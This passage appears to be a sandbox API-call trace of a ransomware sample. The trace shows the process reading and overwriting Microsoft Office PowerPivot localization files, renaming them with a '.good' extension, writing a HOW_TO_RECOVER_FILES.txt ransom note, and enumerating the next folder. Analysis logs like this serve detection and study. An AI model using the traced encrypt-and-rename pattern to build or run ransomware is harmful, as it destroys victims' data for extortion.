Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.725] GetFileType (hFile=0x828) returned 0x1 [0270.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.725] GetFileType (hFile=0x828) returned 0x1 [0270.771] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0271.741] ReadFile (in: hFile=0x828, lpBuffer=0x39ed480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x39ed480*, lpNumberOfBytesRead=0x206ec9c8*=0x152, lpOverlapped=0x0) returned 1 [0271.922] CloseHandle (hObject=0x828) returned 1 [0272.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.550] GetFileType (hFile=0x864) returned 0x1 [0272.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.550] GetFileType (hFile=0x864) returned 0x1 [0272.550] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1152 [0272.550] WriteFile (in: hFile=0x864, lpBuffer=0x3a0e0f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a0e0f8*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0272.550] CloseHandle (hObject=0x864) returned 1 [0272.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.551] GetFileType (hFile=0x864) returned 0x1 [0272.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.551] GetFileType (hFile=0x864) returned 0x1 [0272.551] ReadFile (in: hFile=0x864, lpBuffer=0x3a10408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3a10408*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0272.830] CloseHandle (hObject=0x864) returned 1 [0272.830] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.830] GetFileType (hFile=0x864) returned 0x1 [0272.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.830] GetFileType (hFile=0x864) returned 0x1 [0272.830] WriteFile (in: hFile=0x864, lpBuffer=0x383eed0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x383eed0*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0272.830] CloseHandle (hObject=0x864) returned 1 [0272.831] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.831] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0272.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0272.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ed49a0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1162)) returned 1 [0272.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0272.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml.gоod")) returned 1 [0272.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0272.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0272.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0272.834] GetFileType (hFile=0x864) returned 0x1 [0272.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0272.834] GetFileType (hFile=0x864) returned 0x1 [0272.835] WriteFile (in: hFile=0x864, lpBuffer=0x3934250*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3934250*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0272.836] CloseHandle (hObject=0x864) returned 1 [0272.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0272.836] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id", lpFilePart=0x0) returned 0x51 [0272.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0272.837] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa531f86, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa531f86, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x46a153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0272.838] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb16b0a3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb16b0a3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6ac83cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6ac83cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb62ec35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb62ec35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf447c679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf447c679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0272.839] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0272.839] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0272.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0272.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0272.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0272.840] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id", lpFilePart=0x0) returned 0x51 [0272.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0272.840] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.840] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0272.840] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, 